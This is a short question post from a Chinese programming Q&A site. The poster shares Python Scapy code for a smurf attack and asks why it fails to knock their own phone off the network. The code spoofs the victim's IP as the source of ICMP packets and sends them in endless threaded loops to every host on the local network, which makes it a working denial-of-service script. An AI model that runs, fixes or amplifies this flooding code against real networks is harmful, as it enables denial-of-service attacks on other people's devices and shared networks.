ICMP欺骗不会淹没受害者[Python Scapy]

2024-05-19 02:09:00 发布

您现在位置:Python中文网/ 问答频道 /正文

我一直试图在我的手机上执行一个smurf攻击,我一直在python中使用scapy来创建欺骗的ICMP包,并将欺骗源作为我的手机。然后,我将这些数据包反复发送到网络上的所有计算机(IP存在列表send_icmp)。但是,我的手机一直在上网。怎么了?我的代码是:

def smurf(victim):

    for ip in send_icmp:
        t = threading.Thread(target = __send_spoofed_icmp, args = (ip,victim))
        t.daemon = True
        t.start()
        icmp_threads.append(t)

    for t in icmp_threads:
        t.join()

def __send_spoofed_icmp(ip,victim):
    print("[+] Sending packets to "+ip)
    packet = IP(src=victim,dst=ip)/ICMP()
    while 1:
        send(packet,verbose = 0)

Tags: inipsendforpacketdefscapy手机

热门问题